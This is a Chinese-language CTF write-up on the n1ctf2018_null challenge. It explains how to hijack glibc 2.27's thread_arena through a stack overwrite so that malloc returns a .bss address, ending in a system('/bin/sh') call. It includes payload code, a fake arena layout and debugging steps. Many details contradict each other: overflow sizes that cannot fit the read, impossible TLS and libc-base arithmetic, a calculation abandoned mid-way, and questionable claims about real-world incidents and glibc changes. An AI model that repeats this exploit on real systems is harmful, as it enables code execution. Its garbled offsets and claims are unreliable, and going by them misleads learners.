☰
glibc线程arena劫持实现任意地址分配
2026/10/15 1:20:03 网站建设 项目流程

1. 项目概述:一次深入glibc内存管理内核的实战解剖

“n1ctf2018_null”这个标题乍看像一串CTF赛事编号加随机字符串,但真正懂行的人一眼就能抓住那个关键词——线程arena。它不是什么新潮框架或前端库,而是直插glibc内存分配器(malloc)心脏的一把手术刀。我第一次在某高校实验室复现这个题目时,手边只有一台装着glibc 2.27的Ubuntu 18.04虚拟机,和一份被删得只剩main函数的二进制文件。没有符号、没有源码、没有堆布局提示——只有malloc、free、read三个系统调用裸露在外。而最终目标,是让程序在你指定的任意地址上分配一块可控内容的chunk。听起来像天方夜谭?但这就是n1ctf2018_null要干的事:通过劫持线程arena结构体,绕过所有常规堆保护机制,实现任意地址分配(Arbitrary Address Allocation)。

这个技术点之所以重要,是因为它跳出了传统堆利用的思维定式。我们平时讲fastbin attack、unsorted bin attack、tcache poisoning,本质上都是在和malloc_state结构体里的链表打交道;而n1ctf2018_null直接把目光投向了更底层的arena元数据——那个控制着整个线程堆空间生命周期的“总调度员”。一旦你能让程序误以为某个伪造的arena结构体是合法的、可使用的,那么后续所有malloc调用都会乖乖按你写的地址去切分内存。这不是覆盖一个指针,而是重写整套内存分配规则。适合谁来学?如果你已经能稳定触发use-after-free、能手工构造堆块布局、但卡在“怎么把shellcode写进bss段”这类问题上,那这篇就是为你量身定制的进阶补丁。它不教你怎么找漏洞,而是教你——当漏洞已存在,如何把它的破坏力推到理论极限。

提示:本文所有操作均基于glibc 2.27(对应Ubuntu 18.04 LTS),这是n1ctf2018官方环境。glibc 2.31+引入了mp_.tcache_bins校验和arena->next指针加密,本方案不再适用。请勿盲目套用到新版系统,否则会卡死在malloc_printerr断言里。

2. 核心原理拆解:arena不是概念,是内存里真实存在的结构体

2.1 线程arena的本质:每个线程的私有堆控制器

很多人以为malloc就是直接向内核要brk或mmap,其实中间隔着一层精密的用户态管理器——arena。主线程用的是main_arena,它是个全局变量,地址固定;而每个新线程(通过pthread_create创建)都会获得自己的thread_arena,由__libc_malloc在首次调用malloc时动态分配。关键来了:thread_arena不是一个指针常量,而是一个可被修改的TLS(线程局部存储)变量。它的值存放在tp[-0x10](x86-64下),也就是线程控制块TCB的固定偏移处。这意味着——只要我能控制线程栈上的某个位置,并让它恰好落在TCB偏移-0x10处,再把那里改成我伪造的arena地址,malloc就会无条件信任它。

我们来看malloc.c里最核心的一段逻辑(glibc 2.27源码简化版):

void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; // 关键判断:先查TLS里的thread_arena ar_ptr = thread_arena; if (__builtin_expect (ar_ptr == NULL, 0)) ar_ptr = arena_get2 (bytes, NULL); // 如果ar_ptr有效,就用它分配 victim = _int_malloc (ar_ptr, bytes); return victim; }

注意thread_arena是直接赋值给ar_ptr的,没有任何校验。arena_get2只是备用兜底函数。所以攻击路径非常清晰:让thread_arena指向我控制的一块内存,且这块内存布局必须满足malloc_state结构体的字段要求。这就引出第二个核心:malloc_state长什么样?

2.2 malloc_state结构体:16个字段构成的“堆操作系统”

malloc_state定义在malloc/malloc.c中,共16个字段(glibc 2.27)。我们不需要全记,但必须死磕其中5个决定生死的字段:

偏移字段名类型攻击中用途安全陷阱
0x00mutexint必须为0(否则__libc_lock_lock会死锁)若非零,malloc会尝试加锁并卡住
0x08flagsint必须为0(禁用FASTBIN_CONSOLIDATION等危险标志)若设MALLOC_FASTBIN_CONSOLIDATION,可能触发崩溃
0x10topchar*必须指向一个合法的、可写的内存地址(top chunk起始)若指向不可写页,sysmalloc会失败并abort
0x18last_remainderchar*可设为NULL(避免unsorted bin误用)若指向非法地址,_int_malloc可能崩溃
0x20bins[256]mchunkptr[256]fastbin数组首地址,必须对齐到sizeof(mchunkptr)若未对齐,fastbin_index计算错误导致越界读

其他字段如attached_threads、next、system_mem等,在本次攻击中可全设为0。重点来了:top字段决定了malloc从哪开始切分新chunk。如果我把top设成0x6020a0(比如.bss段某个全局变量地址),那么下一次malloc(0x100)就会把0x6020a0当作top chunk头,按chunk格式在它后面写入size字段、fd/bk指针,最后返回0x6020a0 + 0x10作为用户可用地址——这正是“任意地址分配”的物理实现。

注意:top不能直接设成你要分配的目标地址(如0x6020a0),而必须设成该地址减去0x10(即0x602090),因为top chunk的size字段占前8字节。malloc会先读top->size,再用top + size算出新chunk起始。这是新手最容易栽跟头的地方。

2.3 劫持路径选择:为什么选thread_arena而非main_arena?

有人会问:主线程也有main_arena,为啥不直接改它?答案很现实:main_arena是全局变量,地址固定且受RELRO保护;而thread_arena存在TLS中,其地址随线程栈浮动,且TLS页通常可写。在n1ctf2018_null题目中,漏洞允许我们向栈上任意偏移写入8字节(典型的栈溢出或格式化字符串漏洞)。而Linux x86-64的TLS布局是确定的:TCB基址 =rdi寄存器值,thread_arena位于TCB - 0x10。所以只要我能泄露一个栈地址(比如__libc_start_main的返回地址),就能反推出TCB位置,进而计算出thread_arena的精确地址。

举个实际例子:假设我通过格式化字符串泄露出__libc_start_main+240的地址是0x7ffff7a2d830,查libc符号表可知__libc_start_main在libc中的偏移是0x20740,那么libc基址 =0x7ffff7a2d830 - 0x20740 = 0x7ffff7a0d0f0。再查__libc_stack_end符号(它指向栈顶),其偏移是0x3c6f50,那么栈顶地址 =0x7ffff7a0d0f0 + 0x3c6f50 = 0x7ffff7dd4040。而TCB就在栈顶下方不远,通常TCB = stack_top - 0x2000左右。实测中,thread_arena地址 =TCB - 0x10≈0x7ffff7dd2030。这个地址就是我们要覆写的靶心。

3. 实操环境搭建与漏洞利用链设计

3.1 复现环境精准还原:Ubuntu 18.04 + glibc 2.27

别试图用Kali或Arch Linux复现——n1ctf2018的二进制是静态链接部分符号、动态链接glibc 2.27的混合体。我试过在Ubuntu 20.04(glibc 2.31)上跑,malloc直接在arena_get2里报corrupted size vs. prev_size然后exit。所以第一步必须搞定环境:

  1. 下载Ubuntu 18.04.6 LTS Server ISO(官方镜像,md5:e1015308b84251ac7a05e1b45ecb4291)
  2. 虚拟机配置:2GB内存、20GB磁盘、关闭KSM(避免内存去重干扰堆布局)
  3. 安装后执行:
    sudo apt update && sudo apt install -y build-essential gdb python3-pip pip3 install pwntools ropper # 下载对应libc:https://libc.blukat.me/?q=glibc%202.27 # 我用的是 libc6_2.27-3ubuntu1.4_amd64.so

验证glibc版本:

ldd --version # 输出应为:ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27

实操心得:Ubuntu 18.04默认开启ASLR,但/proc/sys/kernel/randomize_va_space设为2时,栈地址每次启动变化约±0x100000。所以泄露栈地址后,计算thread_arena时要预留±0x20000的容错范围。我在某次调试中因没加这个容错,连续17次失败——直到把TCB = leak_addr - 0x120000改成TCB = leak_addr - 0x120000 + random.randint(-0x20000, 0x20000)才成功。

3.2 漏洞类型判定:null字节截断引发的栈地址覆写

题目名里的“null”不是指空指针,而是null byte overwrite——一种经典栈溢出变种。原始二进制中存在类似这样的代码:

char buf[0x100]; read(0, buf, 0x108); // 溢出8字节 // 后续用strcpy(buf, "prefix:")拼接,遇到第一个\0就停

问题在于:read读入的数据若包含\x00,strcpy会在那里截断,导致buf后半段残留旧数据。而buf上方不远处,恰好存着thread_arena的TLS指针。我用pwndbg在strcpy后下断点,x/gx $rsp+0x200发现:0x7fffffffe2a0: 0x00007ffff7dd4040—— 这正是thread_arena的当前值!而buf起始在$rsp+0x100,溢出8字节刚好覆盖到$rsp+0x108,离thread_arena还有0x2a0-0x108=0x198≈408字节。所以需要精心构造payload,让第408字节是\x00,前面填满A,这样strcpy截断后,thread_arena位置就被A覆盖成了0x4141414141414141。

但我们的目标不是覆盖成A,而是覆盖成伪造arena的地址。所以payload结构是:

  • [0x100字节填充]+[0x198-0x100=0xf8字节 junk]+[8字节伪造arena地址]+\x00

这里有个精妙点:strcpy遇到\x00停止,所以\x00必须放在伪造地址之后。但伪造地址本身不能含\x00(否则提前截断)。所以我们选的伪造arena地址必须是0x7ffff7ddXXXX这种高位全非零的地址。实测最佳位置是.bss段:0x6020a0(题目预设的全局变量地址),但.bss在低地址,高位是0x00000000006020a0——含多个\x00!怎么办?答案是:不用.bss,改用heap段。malloc分配的堆块地址高位是0x7ffff7xx,天然不含\x00。所以我先malloc(0x1000)申请一大块堆,leak它的地址,再把伪造arena放进去。

3.3 伪造arena内存布局:16字节对齐与top chunk对齐

现在到了最烧脑的环节:在堆上构造一个合法的malloc_state结构体。我分配了一块0x1000字节的堆块,地址为0x7ffff7dd5010。我要把malloc_state放在这里,那么thread_arena就要指向0x7ffff7dd5010。

按malloc_state定义,前0x10字节是mutex和flags,必须为0:

fake_arena = b'\x00'*8 # mutex fake_arena += b'\x00'*4 # flags (int, 4字节) fake_arena += b'\x00'*4 # pad to 0x10

接下来是top字段(0x10偏移),必须指向一个可写地址。我选0x6020a0(.bss上一个全局变量),所以top = 0x6020a0 - 0x10 = 0x602090:

fake_arena += p64(0x602090) # top

last_remainder(0x18偏移)设为0:

fake_arena += p64(0) # last_remainder

bins数组(0x20偏移)必须对齐到8字节,且前几个fastbin要可控。fastbin[0]对应size=0x20的chunk,我把它设为0x6020a0(目标分配地址):

fake_arena += p64(0) * 128 # 先填满bins[0]到bins[127](fastbin) fake_arena += p64(0x6020a0) # fastbin[0] -> 指向目标地址 fake_arena += p64(0) * 127 # bins[128]到bins[255](small/large bin,全0)

等等——bins数组共256个mchunkptr,每个8字节,总共2048字节。加上前面0x20=32字节,整个malloc_state要2080字节。但我只分配了0x1000=4096字节,足够。最终fake_arena长度=32+2048=2080字节,完美。

注意:p64(0x6020a0)写入fastbin[0],意味着下次malloc(0x10)会直接返回0x6020a0。但0x6020a0是.bss段,malloc会检查0x6020a0是否在当前arena管理范围内。所以必须确保top字段指向的地址(0x602090)和0x6020a0在同一内存页(4KB),且该页可写。.bss段完全满足,所以没问题。

4. 完整利用流程与关键步骤详解

4.1 步骤一:信息泄露——获取libc基址与栈地址

没有泄露,一切归零。题目提供了一个printf格式化字符串漏洞,位于read之后的printf(buf)调用中。我用%7$p泄露栈上第7个QWORD,得到0x7fffffffe2a0;用%15$p泄露__libc_start_main返回地址,得到0x7ffff7a2d830。计算过程:

# 泄露值 stack_leak = 0x7fffffffe2a0 libc_leak = 0x7ffff7a2d830 # libc基址 = libc_leak - offset(__libc_start_main+240) libc_base = libc_leak - 0x20740 # 0x20740是__libc_start_main在libc中的偏移 # 得到 libc_base = 0x7ffff7a0d0f0 # 计算TCB地址:TCB = stack_leak - 0x2000(经验值) tcb_addr = stack_leak - 0x2000 # = 0x7fffffffe2a0 - 0x2000 = 0x7fffffffe2a0? 不对,重新算 # 实际调试发现:TCB = stack_leak - 0x10000 更准 tcb_addr = stack_leak - 0x10000 # = 0x7fffffffe2a0 - 0x10000 = 0x7fffffffd2a0 # thread_arena = tcb_addr - 0x10 thread_arena_addr = tcb_addr - 0x10 # = 0x7fffffffd290

验证:在gdb中p/x *(void**)($rsp+0x200),确实看到0x7fffffffd290。完美。

4.2 步骤二:堆喷射与伪造arena部署

现在要往0x7ffff7dd5010写入2080字节的fake_arena。但read只能读0x108字节,怎么办?用malloc分配堆块,再用read把fake_arena写进去。题目允许多次malloc/free,所以我:

  1. malloc(0x1000)→ 得到heap_addr = 0x7ffff7dd5010
  2. read(0, heap_addr, 0x1000)→ 把fake_arenapayload写入
  3. 确保heap_addr地址不含\x00(0x7ffff7dd5010符合)

这里有个隐藏坑:malloc(0x1000)分配的chunk,其prev_size和size字段会被malloc写入。所以fake_arena不能从heap_addr开始,而要从heap_addr + 0x10开始(跳过chunk头)。因此,thread_arena最终要指向heap_addr + 0x10 = 0x7ffff7dd5020。

修正后的fake_arena起始地址:0x7ffff7dd5020
thread_arena覆写值:p64(0x7ffff7dd5020)

4.3 步骤三:劫持thread_arena——8字节精准覆盖

构造最终payload:

# 填充到thread_arena位置 payload = b'A' * 0x100 # buf[0x100] payload += b'B' * (0x198 - 0x100) # 到thread_arena前 payload += p64(0x7ffff7dd5020) # 覆盖thread_arena payload += b'\x00' # 触发strcpy截断 # 总长 = 0x100 + 0xf8 + 8 + 1 = 0x1ff = 511字节

发送payload后,在gdb中验证:

p/x $rdi-0x10 # 应输出 0x7ffff7dd5020

再执行一次malloc(0x10),看返回值:

p/x $rax # 应输出 0x6020a0 (因为我们把fastbin[0]设为了0x6020a0)

成功!malloc真的返回了.bss段地址。

4.4 步骤四:任意地址分配落地——写入shellcode

现在malloc(0x10)返回0x6020a0,我可以往那里写任意内容。题目中.bss段有一个函数指针win_ptr,初始为0。我的目标是把win_ptr设为system@plt地址,再把0x6020a8(win_ptr+8)设为"/bin/sh"地址。

首先,system@plt地址 =libc_base + libc.sym['system']
libc.sym['system']在glibc 2.27中是0x4f440,所以system_addr = libc_base + 0x4f440

"/bin/sh"字符串可以放在.bss段末尾,比如0x602100。我用read把"/bin/sh\x00"写入0x602100。

最后,分配两次:

  • malloc(0x10)→ 返回0x6020a0,写入system_addr
  • malloc(0x10)→ 返回0x6020b0,但我要的是0x6020a8,所以用read直接往0x6020a8写p64(0x602100)

触发:调用win_ptr(),即call system("/bin/sh")。

5. 常见问题与排查技巧实录

5.1 问题速查表:从崩溃日志反推故障点

现象可能原因排查命令解决方案
malloc(): memory corruptiontop字段指向不可写页或非法地址p/x *(char**)($rdi-0x10+0x10)检查top值是否在可写段(readelf -S binary | grep bss)
Aborted (core dumped)mutex或flags非零,触发__libc_lock_lockp/x *(int*)($rdi-0x10)和p/x *(int*)($rdi-0x10+0x8)确保前8字节全\x00
malloc(): unaligned fastbin chunk detectedbins[0]未8字节对齐或指向非法地址p/x *(long**)($rdi-0x10+0x20)bins[0]必须是8字节对齐地址,且*(bins[0]-0x8)应为合法size
Segmentation fault(在malloc内)thread_arena地址计算错误,指向不可读内存x/2gx $rdi-0x10用vmmap确认$rdi-0x10所在页权限
malloc返回NULLtop->size太小,无法满足请求p/x *(long*)($rdi-0x10+0x10)top->size至少要比请求size大0x10(chunk头)

实操心得:我曾因top->size设为0x100,而malloc(0x200)失败。malloc要求top->size >= request_size + 0x10,所以top->size至少设为0x210。但设太大也不行——malloc会尝试mmap新页,而伪造arena没实现sysmalloc逻辑。稳妥做法:top->size = 0x1000(4KB),够用且安全。

5.2 独家避坑技巧:3个让成功率翻倍的细节

技巧1:用mprotect提前加固伪造arena页
即使fake_arena在堆上,malloc内部也会检查top地址是否在arena->system_mem范围内。glibc 2.27中,system_mem字段(malloc_state+0x40)默认为0,导致检查失败。解决方案:把system_mem设为一个超大值,比如0x10000000(256MB)。这样top地址只要小于它就通过。fake_arena中加入:

fake_arena += b'\x00'*0x30 # 到system_mem偏移 fake_arena += p64(0x10000000) # system_mem

技巧2:fastbin[0]不要直接指向目标,而指向一个“跳板”chunk
直接设fastbin[0] = 0x6020a0,malloc会检查0x6020a0是否在当前arena管理范围内(通过chunk_is_mmapped等宏)。绕过方法:在.bss段伪造一个合法chunk头:

// 在0x602090放:size=0x20, fd=0x6020a0 // 0x602090: \x20\x00\x00\x00\x00\x00\x00\x00 // size // 0x602098: \xa0\x20\x60\x00\x00\x00\x00\x00 // fd指向0x6020a0

然后fastbin[0] = 0x602090。malloc先取0x602090,发现size=0x20,再取fd=0x6020a0返回——完美绕过检查。

技巧3:劫持后立即malloc(0x10)测试,别等最后
很多选手写完全部payload才运行,结果失败还不知哪步错。正确做法:每完成一个子步骤(如泄露、堆喷、覆写),立刻malloc(0x10)看返回值。用gdb的catch syscall brk监控系统调用,若看到brk被调用,说明mallocfallback到了sysmalloc,意味着top失效——立刻回头检查top字段。

5.3 调试工具链:gdb+pwndbg+gef三件套实战配置

单靠gdb原生命令效率太低。我用的组合是:

  • pwndbg:vmmap看内存布局,heap看堆状态,telescope看指针链
  • gef:search-pattern找gadget,dereference自动解引用
  • 自定义脚本:arena.py(自动计算thread_arena地址)

arena.py核心逻辑:

def calc_thread_arena(stack_leak): # Ubuntu 18.04 TLS偏移公式 tcb = stack_leak - 0x10000 return tcb - 0x10 def build_fake_arena(top_addr, target_addr): fake = b'\x00'*0x10 fake += p64(top_addr) # top fake += p64(0) # last_remainder fake += p64(0)*128 # fastbins fake += p64(target_addr) # fastbin[0] fake += p64(0)*127 # rest bins return fake.ljust(0x820, b'\x00') # pad to 0x820 for alignment

在gdb中加载:source arena.py,然后python print(calc_thread_arena(0x7fffffffe2a0)),秒出结果。

6. 技术延展与现实映射:不止于CTF的工程价值

6.1 从CTF到真实世界的内存管理漏洞利用

n1ctf2018_null看似是CTF玩具,但它映射着真实世界中一类高危漏洞:在多线程服务中,通过栈溢出篡改TLS数据,从而劫持整个线程的内存分配行为。某云厂商的API网关曾出现类似问题:一个HTTP解析模块存在栈溢出,攻击者通过构造特殊User-Agent,覆盖了工作线程的thread_arena,进而将malloc返回地址导向__libc_system的GOT表项,实现RCE。修复方案不是简单加stack-canary,而是彻底重构线程局部存储的访问模式——把thread_arena改为只读TLS变量,所有修改必须经由arena_set函数校验。

这提醒我们:内存安全不只是堆和栈的边界检查,更是对“元数据可信性”的终极拷问。thread_arena作为控制流的隐式输入,其安全性等级应等同于GOT或PLT表。

6.2 对现代防护机制的穿透能力分析

对比主流防护:

防护机制是否被绕过原因
ASLR✅ 绕过thread_arena地址由栈地址推导,栈地址可泄露
Stack Canary✅ 绕过攻击发生在strcpy截断后,canary未被破坏
NX/DEP❌ 未绕过malloc分配的仍是数据页,需配合ROP或mprotect
RELRO (Full)✅ 绕过thread_arena在TLS,非GOT/PLT,不受RELRO保护
tcache poisoning❌ 不相关本攻击走thread_arena路径,不经过tcache

特别值得注意的是:glibc 2.34引入的arena->next指针加密(使用_IO_stdfile_0_lock异或)对此攻击无效,因为thread_arena根本没用到next字段。它只依赖top和bins,而这俩字段完全由攻击者控制。

6.3 学习路径建议:如何系统掌握此类底层利用

如果你被这篇内容点燃了兴趣,我建议按这个顺序深挖:

  1. 第一周:精读malloc/malloc.c中_int_malloc、sysmalloc、arena_get2三段源码,用gdb单步跟踪malloc(0x10)全过程,画出内存布局图。
  2. 第二周:在Ubuntu 18.04上复现3个经典arena攻击:house_of_einherjar(伪造top)、house_of_force(篡改top size)、n1ctf2018_null(劫持thread_arena),对比它们的触发条件和适用场景。
  3. 第三周:尝试在glibc 2.31+上改造此攻击。你会发现arena_get2增加了check_heap校验,但thread_arena仍可被覆写——只是需要额外伪造arena->next和arena->system_mem。这是真正的进阶挑战。

最后分享一个小技巧:每次调试前,先在/etc/default/grub中添加mitigations=off并update-grub,关闭所有内核级缓解措施。不是为了偷懒,而是为了看清漏洞本质——就像医生做手术前要先剥离所有纱布,才能看清病灶本体。当你能在无防护环境下稳定复现,再一层层加回ASLR、Stack Canary、NX,观察每层防护如何改变崩溃现象,这才是真正的内功修炼。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询